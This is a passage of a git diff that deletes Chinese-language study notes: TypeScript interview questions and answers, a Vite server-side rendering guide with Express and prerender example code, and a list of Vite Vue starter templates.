"noUnusedParameters":false, - - // 是否检查不可达代码报错,默认false true,忽略不可达代码 false,不可达代码将引起错误 - "allowUnreachableCode":false - } -} - -``` - -## 17. TypeScript中什么是类类型接口? - -- 如果接口用于一个类的话,那么接口会表示“行为的抽象” -- 对类的约束,让类去实现接口,类可以实现多个接口 -- 接口只能约束类的公有成员(实例属性/方法),无法约束私有成员、构造函数、静态属性/方法 - -## 18. TS中什么是方法重载? - -方法重载是指在一个类中定义多个同名的方法,但要求每个方法具有不同的参数的类型或参数的个数。 基本上,它在派生类或子类中重新定义了基类方法。 - -方法覆盖规则: - -- 该方法必须与父类中的名称相同。 -- 它必须具有与父类相同的参数。 -- 必须存在IS-A关系或继承。 - -## 19. TS中的类是什么,如何定义? - -类表示一组相关对象的共享行为和属性。 - -例如,我们的类可能是Student,其所有对象都具有该attendClass方法。另一方面,John是一个单独的 type 实例,Student可能有额外的独特行为,比如attendExtracurricular. - -你使用关键字声明类class: - -```ts -class Student { - studCode: number; - studName: string; - constructor(code: number, name: string) { - this.studName = name; - this.studCode = code; - } -} - -``` - -## 20. 如何在TS中实现继承? - -继承是一种从另一个类获取一个类的属性和行为的机制。它是面向对象编程的一个重要方面,并且具有从现有类创建新类的能力,继承成员的类称为基类,继承这些成员的类称为派生类。 - -继承可以通过使用extend关键字来实现。我们可以通过下面的例子来理解它。 - -```ts -class Shape { - Area:number - constructor(area:number) { - this.Area = area - } -} -class Circle extends Shape { - display():void { - console.log("圆的面积: "+this.Area) - } -} -var obj = new Circle(320); -obj.display() - -``` - -## 21. TS中的泛型是什么? - -TypeScript Generics是提供创建可重用组件的方法的工具。 它能够创建可以使用多种数据类型而不是单一数据类型的组件。 而且,它在不影响性能或生产率的情况下提供了类型安全性。 泛型允许我们创建泛型类,泛型函数,泛型方法和泛型接口。 - -在泛型中,类型参数写在左括号(<)和右括号(>)之间,这使它成为强类型集合。 它使用一种特殊的类型变量来表示类型 - -```ts -function identity(arg: T): T { - return arg; -} -let output1 = identity("CoderBin"); -let output2 = identity( 117 ); -console.log(output1); -console.log(output2); - -``` - -## 22. 说说TS中的类及其特性 - -TypeScript 引入了类,以便它们可以利用诸如封装和抽象之类的面向对象技术的好处。 - -TypeScript 编译器将 TypeScript 中的类编译为普通的 JavaScript 函数,以跨平台和浏览器工作。 - -一个类包括以下内容: - -- 构造器(Constructor) -- 属性(Properties) -- 方法(Methods) - -```ts -class Employee { - empID: number; - empName: string; - - constructor(ID: number, name: string) { - this.empName = name; - this.empID = ID; - } - - getSalary(): number { - return 40000; - } -} - -``` - -类的其他特性有: - -- 继承(Inheritance) -- 封装(Encapsulation) -- 多态(Polymorphism) -- 抽象(Abstraction) - -## 23. 解释如何使用TypeScript mixin - -Mixin 本质上是在相反方向上工作的继承。Mixins 允许你通过组合以前类中更简单的部分类来设置构建新类。 - -相反,类A继承类B来获得它的功能,类B从类A需要返回一个新类的附加功能。 - -## 24. 什么是TypeScript映射文件? - -- TypeScript Map文件是一个源映射文件,其中包含有关我们原始文件的信息。 -- .map文件是源映射文件,可让工具在发出的JavaScript代码和创建它的TypeScript源文件之间进行映射。 -- 许多调试器可以使用这些文件,因此我们可以调试TypeScript文件而不是JavaScript文件。 - -## 25. TS中的类型有哪些? - -类型系统表示语言支持的不同类型的值。它在程序存储或操作所提供的值之前检查其有效性。 - -它可以分为两种类型, - -- 内置:包括数字(number),字符串(string),布尔值(boolean),无效(void),空值(null)和未定义(undefined)。 -- 用户定义的:它包括枚举(enums),类(classes),接口(interfaces),数组(arrays)和元组(tuple)。 - -## 26. TS中的interface和type有什么区别? - -**相同点:** - -1. 都可以描述一个对象或者函数 - -**interface** - -```ts -interface User { - name: string - age: number -} - -interface SetUser { - (name: string, age: number): void; -} - -``` - -**type** - -```ts -type User = { - name: string - age: number -}; - -type SetUser = (name: string, age: number)=> void; - -``` - -1. 都允许拓展(extends) - -interface 和 type 都可以拓展,并且两者并不是相互独立的,也就是说 interface 可以 extends type, type 也可以 extends interface 。 虽然效果差不多,但是两者语法不同。 - -**不同点** - -- type 可以而 interface 不行 - -**type 可以声明基本类型别名,联合类型,元组等类型** - -```ts -// 基本类型别名 -type Name = string - -// 联合类型 -interface Dog { - wong(); -} -interface Cat { - miao(); -} - -type Pet = Dog | Cat - -// 具体定义数组每个位置的类型 -type PetList = [Dog, Pet] - -``` - -**type 语句中还可以使用 typeof 获取实例的类型进行赋值** - -```ts -// 当你想获取一个变量的类型时,使用 typeof -let div = document.createElement('div'); -type B = typeof div - -``` - -**其他骚操作** - -```ts -type StringOrNumber = string | number; -type Text = string | { text: string }; -type NameLookup = Dictionary; -type Callback = (data: T) => void; -type Pair = [T, T]; -type Coordinates = Pair; -type Tree = T | { left: Tree, right: Tree }; - -``` - -- interface 可以而 type 不行 - -**interface 能够声明合并** - -```ts -interface User { - name: string - age: number -} - -interface User { - sex: string -} - -/* -User 接口为 { - name: string - age: number - sex: string -} -*/ - -``` - -一般来说,如果不清楚什么时候用interface/type,能用 interface 实现,就用 interface , 如果不能就用 type 。 - -## 27. TS中的getter/setter是什么?你如何使用它们? - -Getter 和 setter 是特殊类型的方法,可帮助你根据程序的需要委派对私有变量的不同级别的访问。 - -Getters 允许你引用一个值但不能编辑它。Setter 允许你更改变量的值,但不能查看其当前值。这些对于实现封装是必不可少的。 - -例如,新雇主可能能够了解get公司的员工人数,但无权set了解员工人数。 - -```ts -const fullNameMaxLength = 10; -class Employee { - private _fullName: string = ""; - get fullName(): string { - return this._fullName; - } - set fullName(newName: string) { - if (newName && newName.length > fullNameMaxLength) { - throw new Error("fullName has a max length of " + fullNameMaxLength); - } - this._fullName = newName; - } -} -let employee = new Employee(); -employee.fullName = "Bin Coder"; -if (employee.fullName) { - console.log(employee.fullName); -} - -``` - -## 28. 如何检查TS中的null和undefiend? - -通过使用一个缓冲检查,我们可以检查空和未定义: - -```ts -if (x == null) { } - -``` - -如果我们使用严格的检查,它将总是对设置为null的值为真,而对未定义的变量不为真。 - -例子 - -```ts -var a: number; -var b: number = null; -function check(x, name) { - if (x == null) { - console.log(name + ' == null'); - } - if (x === null) { - console.log(name + ' === null'); - } - if (typeof x === 'undefined') { - console.log(name + ' is undefined'); - } -} -check(a, 'a'); -check(b, 'b'); - -``` - -输出 - -```ts -"a == null" -"a is undefined" -"b == null" -"b === null" - -``` - -## 29. TypeScript中const和readonly的区别是什么? - -- const用于变量,readonly用于属性 -- const在运行时检查,readonly在编译时检查 -- 使用const变量保存的数组,可以使用push,pop等方法。但是如果使用Readonly Array声明的数组不能使用push,pop等方法 - -## 30. Omit 类型有什么作用 - -Omit 以一个类型为基础支持剔除某些属性,然后返回一个新类型。 语法如下 - -```python -Omit - -``` - -使用示例 - -```typescript -interface Todo { - title: string - description: string - completed: boolean - createdAt: number -} -type TodoPreview = Omit -``` diff --git "a/src/TypeScript/\351\235\242\350\257\225\351\242\230/TypeScript\351\235\242\350\257\225\351\242\230.md" "b/src/TypeScript/\351\235\242\350\257\225\351\242\230/TypeScript\351\235\242\350\257\225\351\242\230.md" deleted file mode 100644 index 3d22b0d5..00000000 --- "a/src/TypeScript/\351\235\242\350\257\225\351\242\230/TypeScript\351\235\242\350\257\225\351\242\230.md" +++ /dev/null @@ -1,271 +0,0 @@ ---- -date: 2022-03-19 -category: -- 面试题 -- 前端 -- TypeScript ---- - -# TypeScript面试题 - -> 来源: -> -> https://juejin.cn/post/6999985372440559624 -> - -**1. 什么是TypeScript?** - -> Typescript 是一个强类型的 JavaScript 超集,支持ES6语法,支持面向对象编程的概念,如类、接口、继承、泛型等。Typescript并不直接在浏览器上运行,需要编译器编译成纯Javascript来运行。 - -**2. 为什么要使用 TypeScript ? TypeScript 相对于 JavaScript 的优势是什么?** - -> 增加了**静态类型**,可以在开发人员编写脚本时检测错误,使得代码质量更好,更健壮。优势: -> -> 1. 杜绝手误导致的变量名写错; -> 2. 类型可以一定程度上充当文档; -> 3. IDE自动填充,自动联想; - -**3. TypeScript 中 const 和 readonly 的区别?枚举和常量枚举的区别?接口和类型别名的区别?** - -> `const 和 readonly`: **const可以防止变量的值被修改,readonly可以防止变量的属性被修改。** -> -> `枚举和常量枚举`: 常量枚举只能使用常量枚举表达式,并且不同于常规的枚举,它们在编译阶段会被删除。 常量枚举成员在使用的地方会被内联进来。 之所以可以这么做是因为,常量枚举不允许包含计算成员。 -> -> `接口和类型别名`: 两者都可以用来描述对象或函数的类型。**与接口不同,类型别名还可以用于其他类型,如基本类型(原始值)、联合类型、元组。** - -**4. TypeScript 中 any 类型的作用是什么?** - -> 为编程阶段还不清楚类型的变量指定一个类型。 这些值可能来自于动态的内容,比如来自用户输入或第三方代码库。 这种情况下,我们不希望类型检查器对这些值进行检查而是直接让它们通过编译阶段的检查。 - -**5. TypeScript 中 any、never、unknown、null & undefined 和 void 有什么区别?** - -> `any`: 动态的变量类型(失去了类型检查的作用)。 -> -> `never`: 永不存在的值的类型。例如:never 类型是那些总是会抛出异常或根本就不会有返回值的函数表达式或箭头函数表达式的返回值类型。 -> -> `unknown`: 任何类型的值都可以赋给 unknown 类型,但是 unknown 类型的值只能赋给 unknown 本身和 any 类型。 -> -> `null & undefined`: 默认情况下 null 和 undefined 是所有类型的子类型。 就是说你可以把 null 和 undefined 赋值给 number 类型的变量。当你指定了 --strictNullChecks 标记,null 和 undefined 只能赋值给 void 和它们各自。 -> -> `void`: 没有任何类型。例如:一个函数如果没有返回值,那么返回值可以定义为void。 - -**6. TypeScript 中 interface 可以给 Function / Array / Class(Indexable)做声明吗?** - -可以 - -> ```typescript -> /* 可以 */ -> // 函数声明 -> interface Say { -> (name: string): viod; -> } -> let say: Say = (name: string):viod => {} -> // 输入变量,返回值 -> -> -> // Array 声明 -> interface NumberArray { -> [index: number]: number; -> } -> let fibonacci: NumberArray = [1, 1, 2, 3, 5]; -> // 满足数组内容和索引内容 -> -> // Class 声明 -> interface PersonalIntl { -> name: string -> sayHi (name: string): string -> } -> // 满足对象属性、成员 -> ``` - -**7. TypeScript 中可以使用 String、Number、Boolean、Symbol、Object 等给类型做声明吗?** - -> ```javascript -> /* 可以 */ -> let name: string = "bob"; -> let decLiteral: number = 6; -> let isDone: boolean = false; -> let sym: symbol = Symbol(); -> interface Person { -> name: string; -> age: number; -> } -> ``` - -**8. TypeScript 中的 this 和 JavaScript 中的 this 有什么差异?** - -> 1. TypeScript:noImplicitThis: true 的情况下,必须去声明 this 的类型,才能在函数或者对象中使用this。 -> 2. Typescript 中箭头函数的 this 和 ES6 中箭头函数中的 this 是一致的。 - -**9. TypeScript 中使用 Union Types 时有哪些注意事项?** - -> **属性或方法访问**: 当 TypeScript 不确定一个联合类型的变量到底是哪个类型的时候,我们只能访问此联合类型的所有类型里共有的属性或方法。 -> -> ```typescript -> function getLength(something: string | number): number { -> return something.length; -> } -> // index.ts(2,22): error TS2339: Property 'length' does not exist on type >'string | number'. -> // Property 'length' does not exist on type 'number'. -> -> function getString(something: string | number): string { -> return something.toString(); -> } -> // 公共方法和属性可以访问 -> ``` - -**10. TypeScript 如何设计 Class 的声明?** - -> ```ts -> class Greeter { -> greeting: string; -> constructor(message: string) { -> this.greeting = message; -> } -> greet(): string{ -> return "Hello, " + this.greeting; -> } -> } -> let greeter = new Greeter("world"); -> // 在声明类的时候,一般类中都会包含,构造函数、对构造函数中的属性进行类型声明、类中的方法。 -> ``` - -**11. TypeScript 中如何联合枚举类型的 Key?** - -keyof + typeof - -> ```ts -> enum str { -> A, -> B, -> C -> } -> type strUnion = keyof typeof str; // 'A' | 'B' | 'C' -> ``` - -**12. TypeScript 中 type 和 interface 的区别?** - -> 相同点: -> -> 1. 都可以描述 '对象' 或者 '函数' -> -> 2. 都允许拓展(extends) -> -> 不同点: -> -> 1. type 可以声明基本类型,联合类型,元组 -> -> 2. type 可以使用 typeof 获取实例的类型进行赋值 -> -> 3. 多个相同的 interface 声明可以自动合并 -> -> 使用 interface 描述‘数据结构’,使用 type 描述‘类型关系’ - -**13. TypeScript 中 ?.、??、!、!.、_、\** 等符号的含义?** - -> `?. 可选链` 遇到 null 和 undefined 可以立即停止表达式的运行。 -> -> `?? 空值合并运算符` 当左侧操作数为 null 或 undefined 时,其返回右侧的操作数,否则返回左侧的操作数。 -> -> `! 非空断言运算符` x! 将从 x 值域中排除 null 和 undefined -> -> `!. ` 在变量名后添加,可以断言排除undefined和null类型 -> -> `_ 数字分割符` 分隔符不会改变数值字面量的值,使人更容易读懂数字 .e.g 1_101_324。 -> -> `** `求幂 - -**15. 简单介绍一下 TypeScript 模块的加载机制?** - -> 假设有一个导入语句 `import { a } from "moduleA"`; -> -> 1. 首先,编译器会尝试定位需要导入的模块文件,通过绝对或者相对的路径查找方式; -> -> 2. 如果上面的解析失败了,没有查找到对应的模块,编译器会尝试定位一个`外部模块声明`(.d.ts); -> -> 3. 最后,如果编译器还是不能解析这个模块,则会抛出一个错误 `error TS2307: Cannot find module 'moduleA'.` - -**17. TypeScript 中对象展开会有什么副作用吗?** - -> 1. 展开对象后面的属性会覆盖前面的属性; -> 2. **仅包含对象自身的可枚举属性,不可枚举的属性将会丢失**。 - -**19. TypeScript 中同名的 interface 或者同名的 interface 和 class 可以合并吗?** - -> **同名的interface会自动合并,同名的interface和class会自动聚合**。 - -**20. 如何使 TypeScript 项目引入并识别编译为 JavaScript 的 npm 库包?** - -> 1. 选择安装 ts 版本,`npm install @types/包名 --save`; -> 2. 对于没有类型的 js 库,需要编写同名的.d.ts文件 - -**21. TypeScript 的 tsconfig.json 中有哪些配置项信息?** - -> ```json -> { -> "files": [], -> "include": [], -> "exclude": [], -> "compileOnSave": false, -> "extends": "", -> "compilerOptions": { ... } -> } -> ``` -> -> `files` 是一个数组列表,里面包含指定文件的相对或绝对路径,用来指定待编译文件,编译器在编译的时候只会编译包含在files中列出的文件。 -> `include & exclude` 指定编译某些文件,或者指定排除某些文件。 -> `compileOnSave:true` 让IDE在保存文件的时候根据tsconfig.json重新生成文件。 -> `extends` 可以通过指定一个其他的tsconfig.json文件路径,来继承这个配置文件里的配置。 -> `compilerOptions` 编译配置项,如何对具体的ts文件进行编译 - -**22. TypeScript 中如何设置模块导入的路径别名?** - -> 通过 tsconfig.json 中的 paths 项来配置: - -**23. declare,declare global是什么?** - -> `declare` 是用来定义全局变量、全局函数、全局命名空间、js modules、class等 -> `declare global` 为全局对象 `window` 增加新的属性 -> -> ```ts -> declare global { -> interface Window { -> csrf: string; -> } -> } -> ``` - -**24. 对 TypeScript 类中成员的 public、private、protected、readonly 修饰符的理解?** - -> `public`: 成员都默认为`public`,被此限定符修饰的成员是可以被外部访问; -> `private`: 被此限定符修饰的成员是只可以被类的内部访问; -> `protected`: 被此限定符修饰的成员是只可以被类的内部以及类的子类访问; -> `readonly`: 关键字将属性设置为只读的。 只读属性必须在声明时或构造函数里被初始化。 - -**25. keyof 和 typeof 关键字的作用?** - -> `keyof 索引类型查询操作符` 获取索引类型的属性名,构成联合类型。 -> `typeof` 获取一个变量或对象的类型。 - -**26. 简述工具类型 `Exclude`、`Omit`、`Merge`、`Intersection`、`Overwrite`的作用。** - -> `Exclude` 从 `T` 中排除出可分配给 `U`的元素。 -> `Omit` 的作用是忽略`T`中的某些属性。 -> `Merge` 是将两个对象的属性合并。 -> `Compute` 是将交叉类型合并 -> `Intersection`的作用是取`T`的属性,此属性同样也存在与`U`。 -> `Overwrite` 是用`U`的属性覆盖`T`的相同属性。 - -**27. 数组定义的两种方式** - -> ```ts -> type Foo= Array; -> interface Bar { -> baz: Array<{ name: string, age: number}> -> } -> -> type Foo = string[]; -> interface Bar { -> baz : { name: string, age: number }[] -> } -> ``` diff --git "a/src/Vite/Vite SSR \346\226\271\346\241\210.md" "b/src/Vite/Vite SSR \346\226\271\346\241\210.md" deleted file mode 100644 index 790ef35a..00000000 --- "a/src/Vite/Vite SSR \346\226\271\346\241\210.md" +++ /dev/null @@ -1,311 +0,0 @@ -# Vite SSR 指南 - -## 示例项目 - -Vite 为服务端渲染(SSR)提供了内建支持。这里的 Vite 范例包含了 Vue 3 和 React 的 SSR 设置示例,可以作为本指南的参考: - -- [Vue 3](https://github.com/vitejs/vite-plugin-vue/tree/main/playground/ssr-vue) -- [React](https://github.com/vitejs/vite-plugin-react/tree/main/playground/ssr-react) - -## 源码结构 - -一个典型的 SSR 应用应该有如下的源文件结构: - -``` -- index.html -- server.js # main application server -- src/ - - main.js # 导出环境无关的(通用的)应用代码 - - entry-client.js # 将应用挂载到一个 DOM 元素上 - - entry-server.js # 使用某框架的 SSR API 渲染该应用 -``` - -`index.html` 将需要引用 `entry-client.js` 并包含一个占位标记供给服务端渲染时注入: - -``` -

    - -``` - -你可以使用任何你喜欢的占位标记来替代 ``,只要它能够被正确替换。 - -**模版配置:** - -## 设置开发服务器 - -在构建 SSR 应用程序时,你可能希望完全控制主服务器,并将 Vite 与生产环境脱钩(生产环境渲染不再依赖于Vute)。因此,建议以中间件模式使用 Vite。下面是一个关于 [express](https://expressjs.com/) 的例子: - -```js -// @ts-check -import fs from 'node:fs' -import path from 'node:path' -import { fileURLToPath } from 'node:url' -import express from 'express' - -const isTest = process.env.VITEST - -export async function createServer( - root = process.cwd(), - // 在 server.js 中,通过 process.env.NODE_ENV 条件分支,需要添加一些用于生产环境的特定逻辑 - isProd = process.env.NODE_ENV === 'production', - hmrPort, -) { - const __dirname = path.dirname(fileURLToPath(import.meta.url)) - const resolve = (p) => path.resolve(__dirname, p) - - const indexProd = isProd - ? fs.readFileSync(resolve('dist/client/index.html'), 'utf-8') - : '' - - const manifest = isProd - ? JSON.parse( - fs.readFileSync(resolve('dist/client/ssr-manifest.json'), 'utf-8'), - ) - : {} - - const app = express() - - /** - * @type {import('vite').ViteDevServer} - */ - let vite - if (!isProd) { - vite = await ( - await import('vite') - ).createServer({ - base: '/test/', - root, - logLevel: isTest ? 'error' : 'info', - - // 以中间件模式创建 Vite 应用,这将禁用 Vite 自身的 HTML 服务逻辑 - // 并让上级服务器接管控制 - server: { - middlewareMode: true, - watch: { - // During tests we edit the files too fast and sometimes chokidar - // misses change events, so enforce polling for consistency - usePolling: true, - interval: 100, - }, - hmr: { - port: hmrPort, - }, - }, - appType: 'custom', - }) - // use vite's connect instance as middleware - app.use(vite.middlewares) - } else { - app.use((await import('compression')).default()) - app.use( - '/test/', - (await import('serve-static')).default(resolve('dist/client'), { - index: false, - }), - ) - } - - app.use('*', async (req, res) => { - try { - const url = req.originalUrl.replace('/test/', '/') - - let template, render - if (!isProd) { - // always read fresh template in dev - // 1. 读取 index.html - template = fs.readFileSync(resolve('index.html'), 'utf-8') - // 2. 应用 Vite HTML 转换。这将会注入 Vite HMR 客户端, - // 同时也会从 Vite 插件应用 HTML 转换。 - // 例如:@vitejs/plugin-react 中的 global preambles - template = await vite.transformIndexHtml(url, template) - // 3. 加载服务器入口。vite.ssrLoadModule 将自动转换 - // 你的 ESM 源码使之可以在 Node.js 中运行!无需打包 - // 并提供类似 HMR 的根据情况随时失效。 - render = (await vite.ssrLoadModule('/src/entry-server.js')).render - } else { - template = indexProd - // 此时访问的render是SSR构建后的最终结果 - render = (await import('./dist/server/entry-server.js')).render - } - // 4. 渲染应用的 HTML。这假设 entry-server.js 导出的 `render` - // 函数调用了适当的 SSR 框架 API。 - // 例如 ReactDOMServer.renderToString() - const [appHtml, preloadLinks] = await render(url, manifest) - - // 5. 注入渲染后的应用程序 HTML 到模板中。 - const html = template - .replace(``, preloadLinks) - .replace(``, appHtml) - - // 6. 返回渲染后的 HTML。 - res.status(200).set({ 'Content-Type': 'text/html' }).end(html) - } catch (e) { - // 如果捕获到了一个错误,让 Vite 来修复该堆栈,这样它就可以映射回 - // 你的实际源码中。 - vite && vite.ssrFixStacktrace(e) - console.log(e.stack) - res.status(500).end(e.stack) - } - }) - - return { app, vite } -} - -if (!isTest) { - createServer().then(({ app }) => - app.listen(6173, () => { - console.log('http://localhost:6173') - }), - ) -} -``` - -这里 `vite` 是 [ViteDevServer](https://cn.vitejs.dev/guide/api-javascript.html#vitedevserver) 的一个实例。`vite.middlewares` 是一个 [Connect](https://github.com/senchalabs/connect) 实例,它可以在任何一个兼容 connect 的 Node.js 框架中被用作一个中间件。 - -`package.json` 中的 `dev` 脚本也应该相应地改变,使用服务器脚本: - -diff - -```json -"scripts": { - "dev": "vite" - "dev": "node server" -} -``` - -## 生产环境构建 - -为了将 SSR 项目交付生产,我们需要: - -1. 正常生成一个客户端构建; -2. 再生成一个 SSR 构建,使其通过 `import()` 直接加载,这样便无需再使用 Vite 的 `ssrLoadModule`; - -`package.json` 中的脚本应该看起来像这样: - -```json -{ - "scripts": { - "dev": "node server", - "build:client": "vite build --outDir dist/client", - "build:server": "vite build --outDir dist/server --ssr src/entry-server.js" - } -} -``` - -模版中的完整版应该是这样: - -```json -{ - "scripts": { - "dev": "node server", - "build": "npm run build:client && npm run build:server", - "build:noExternal": "npm run build:client && npm run build:server:noExternal", - "build:client": "vite build --ssrManifest --outDir dist/client", - "build:server": "vite build --ssr src/entry-server.js --outDir dist/server", - "build:server:noExternal": "vite build --config vite.config.noexternal.js --ssr src/entry-server.js --outDir dist/server", - "generate": "vite build --ssrManifest --outDir dist/static && npm run build:server && node prerender", - "serve": "NODE_ENV=production node server", - "debug": "node --inspect-brk server" - } -} -``` - -## 生成预加载指令 - -`vite build` 支持使用 `--ssrManifest` 标志,这将会在构建输出目录中生成一份 `ssr-manifest.json`: - -> 保持原样则为生成CSR客户端 - -``` -- "build:client": "vite build --outDir dist/client", -+ "build:client": "vite build --outDir dist/client --ssrManifest", -``` - -上面的脚本将会为客户端构建生成 `dist/client/ssr-manifest.json`(是的,该 SSR 清单是从客户端构建生成而来,因为我们想要将模块 ID 映射到客户端文件上)。清单包含模块 ID 到它们关联的 chunk 和资源文件的映射。 - -为了利用该清单,框架需要提供一种方法来收集在服务器渲染调用期间使用到的组件模块 ID。 - -`@vitejs/plugin-vue` 支持该功能,开箱即用,并会自动注册使用的组件模块 ID 到相关的 Vue SSR 上下文: - -```js -// src/entry-server.js -const ctx = {} -const html = await vueServerRenderer.renderToString(app, ctx) -// ctx.modules 现在是一个渲染期间使用的模块 ID 的 Set -``` - -我们现在需要在 `server.js` 的生产环境分支下读取该清单,并将其传递到 `src/entry-server.js` 导出的 `render` 函数中。这将为我们提供足够的信息,来为异步路由相应的文件渲染预加载指令! - -### 预渲染 / SSG - -如果预先知道某些路由所需的路由和数据,我们可以使用与生产环境 SSR 相同的逻辑将这些路由预先渲染到静态 HTML 中。这也被视为一种静态站点生成(SSG)的形式。查看 示例渲染代码 获取有效示例。 - -```js -// Pre-render the app into static HTML. -// run `npm run generate` and then `dist/static` can be served as a static site. - -import fs from 'node:fs' -import path from 'node:path' -import url from 'node:url' - -const __dirname = path.dirname(url.fileURLToPath(import.meta.url)) - -const toAbsolute = (p) => path.resolve(__dirname, p) - -const manifest = JSON.parse( - fs.readFileSync(toAbsolute('dist/static/ssr-manifest.json'), 'utf-8'), -) -const template = fs.readFileSync(toAbsolute('dist/static/index.html'), 'utf-8') -const { render } = await import('./dist/server/entry-server.js') - -// determine routes to pre-render from src/pages -const routesToPrerender = fs - .readdirSync(toAbsolute('src/pages')) - .map((file) => { - const name = file.replace(/\.vue$/, '').toLowerCase() - return name === 'home' ? `/` : `/${name}` - }) - -;(async () => { - // pre-render each route... - for (const url of routesToPrerender) { - const [appHtml, preloadLinks] = await render(url, manifest) - - const html = template - .replace(``, preloadLinks) - .replace(``, appHtml) - - const filePath = `dist/static${url === '/' ? '/index' : url}.html` - fs.writeFileSync(toAbsolute(filePath), html) - console.log('pre-rendered:', filePath) - } - - // done, delete ssr manifest - fs.unlinkSync(toAbsolute('dist/static/ssr-manifest.json')) -})() -``` - -## SSR 外部化 - -当运行 SSR 时依赖会由 Vite 的 SSR 转换模块系统作外部化。这会同时提速开发与构建。 - -例如,如果依赖项需要通过 Vite 的管道进行转换,因为在这些依赖在管道中使用 Vite 特性时是不转翻译的,则可以将它们添加到 [`ssr.noExternal`](https://cn.vitejs.dev/config/ssr-options.html#ssrnoexternal) 中。 - -> 使用别名 -> -> 如果你为某个包配置了一个别名,为了能使 SSR 外部化依赖功能正常工作,你可能想要使用的别名应该指的是实际的 `node_modules` 中的包。[Yarn](https://classic.yarnpkg.com/en/docs/cli/add/#toc-yarn-add-alias) 和 [pnpm](https://pnpm.js.org/en/aliases) 都支持通过 `npm:` 前缀来设置别名。 - -## SSR 构建目标 - -SSR 构建的默认目标为 node 环境,但你也可以让服务运行在 Web Worker 上。每个平台的打包条目解析是不同的。你可以将`ssr.target` 设置为 `webworker`,以将目标配置为 Web Worker。 - -## SSR 构建产物 - -在某些如 `webworker` 运行时等特殊情况中,你可能想要将你的 SSR 打包成单个 JavaScript 文件。你可以通过设置 `ssr.noExternal` 为 `true` 来启用这个行为。这将会做两件事: - -- 将所有依赖视为 `noExternal`(非外部化) -- 若任何 Node.js 内置内容被引入,将抛出一个错误 - -## SSR 格式 - -默认情况下,Vite 生成的 SSR 打包产物是 ESM 格式。实验性地支持配置 `ssr.format` ,但不推荐这样做。未来围绕 SSR 的开发工作将基于 ESM 格式,并且为了向下兼容,commonjs 仍然可用。如果你的 SSR 项目不能使用 ESM,你可以通过 [Vite v2 外部启发式方法](https://v2.vitejs.dev/guide/ssr.html#ssr-externals) 设置 `legacy.buildSsrCjsExternalHeuristics: true` 生成 CJS 格式的产物。 \ No newline at end of file diff --git "a/src/Vite/Vite \345\217\257\347\224\250\351\241\271\347\233\256\346\250\241\347\211\210.md" "b/src/Vite/Vite \345\217\257\347\224\250\351\241\271\347\233\256\346\250\241\347\211\210.md" deleted file mode 100644 index cabe6ab1..00000000 --- "a/src/Vite/Vite \345\217\257\347\224\250\351\241\271\347\233\256\346\250\241\347\211\210.md" +++ /dev/null @@ -1,121 +0,0 @@ -# Vite Vue & React模版 - -#### Vue 3 - -- [Vitesse](https://github.com/antfu/vitesse) - Opinionated starter template. -- [vite-ts-tailwind-starter](https://github.com/Uninen/vite-ts-tailwind-starter) - TypeScript, Tailwind CSS, Cypress.io e2e tests + CI. -- [vue-vben-admin](https://github.com/anncwb/vue-vben-admin) - Background management template based on Vue3, Ant-Design-Vue, TypeScript. -- [vue-pure-admin](https://github.com/xiaoxian521/vue-pure-admin) - Background management template based on Vue3, TypeScript, Tailwind CSS, element-plus. -- [fast-crud](https://github.com/fast-crud/fast-crud) - Options-oriented crud framework, developing crud as fast as lightning. -- [vivu](https://github.com/logustra/vivu) - Opinionated scalable vue boilerplate. -- [vite-tauri-template](https://github.com/yooneskh/vite-tauri-template) - Tauri + Vite + Vue 3 + Vuetify 3 desktop app template. -- [vue-vite-h5](https://github.com/LZHD/vue-vite-h5) - Use Vue3, TypeScript and Vant to develop mobile applications. -- [Vitesome](https://github.com/alvarosaburido/vitesome) - Vue3 + TypeScript + WindiCSS + Vue Router 4, i18n and Iconify. -- [vitesse-lite](https://github.com/antfu/vitesse-lite) - Lightweight version of Vitesse. -- [vitesse-webext](https://github.com/antfu/vitesse-webext) - WebExtension Vite Starter Template. -- [vite-ts-vue3-todo](https://github.com/nabaonan/todos-action/tree/master/vue-vite-ts-setup) - Vue3 + TS + Vue-Router4 + Pinia2 template. -- [naive-ui-dashboard-template](https://github.com/Innei/naive-ui-dashboard-template) - UI friendly, Vue 3 + TSX + TailwindCSS 2 JIT + PostCSS + Naive UI. -- [vitailse](https://github.com/zynth17/vitailse) - Like Vitesse but with Tailwind CSS. -- [vitespa](https://github.com/ctholho/vitespa) - Vitesse-based SPA without SSG. -- [vite-quasar-starter](https://github.com/fyeeme/vite-quasar) - Vite 2.x + Vue 3.x + quasar 2.x starter. -- [vue3-mobile-template](https://github.com/parajs/vue3-mobile-template) - Vue3 + TS + Vue-Router4 + Vuex4 + Vant + Vue-use + Vue-i18n Mobile Template. -- [vue3-template](https://github.com/lecoueyl/vue3-template) - Vue 3 / Tailwind CSS / vue-router / PNPM / ESlint Airbnb / Stylelint / GitHub pages actions / Netlify. -- [Modern Vue](https://github.com/byoungd/modern-vue-template) - Modern Vue stack 2022. -- [Vitecamp](https://github.com/nekobc1998923/vitecamp) - Vue3 / Element Plus / Axios / Vue Router / Pinia / Windi CSS / icones / i18n / Markdown / Svg / ESLint Airbnb Style / Components and APIs auto importing. -- [vite-vue3-typescript-webcomponent](https://github.com/skysign/vite-vue3-typescript-webcomponent) - Vue 3 / Typescript / boiler plate to develop Web Component. -- [vite-vue-ts-storybook](https://github.com/Miguel-Bento-Github/vite-vue-ts-storybook) - Vue 3 / i18n / Typescript / Vite / Storybook / ESLint / Prettier. -- [vite-vue-tailwind-v3](https://github.com/huibizhang/template-vite-vue-tailwind-v3) - Starter template for Vue3 + TailwindCSS and `prettier-plugin-tailwindcss` build-in. -- [vite-vue-ts-tailwind-v3](https://github.com/huibizhang/template-vite-vue-ts-tailwind-v3) - Starter template for Vue3 + Typescript + TailwindCSS and `prettier-plugin-tailwindcss` build-in. -- [Vitawind Creator](https://vitawind.vercel.app/scaffolding/creator/) - Create TailwindCSS project rapidly. -- [vue3-ts-vite-vitest-todo](https://github.com/hefengxian/vue3-ts-vite-vitest-todo) - Vue 3 / TypeScript / Vite / Vitest with full tests / Composition API / Pure TS/TSX. -- [vue3-tailwind3-website-starter](https://github.com/feitian124/vue3-tailwind3-website-starter.git) - Vue3 / Vite / TailwindCSS website starter template, with guides on each page. -- [vite-boot](https://github.com/kirklin/vite-boot) - Vite + Vue3 + TypeScript + Vue-Router4 + Pinia + Tailwind CSS + VueUse Template. -- [Vue Naive](https://github.com/zclzone/vue-naive-admin) - Admin template, base on Vue 3 + Pinia + Naive UI. -- [vue-admin-box](https://github.com/cmdparkour/vue-admin-box) - Admin template, based on Vue 3 + 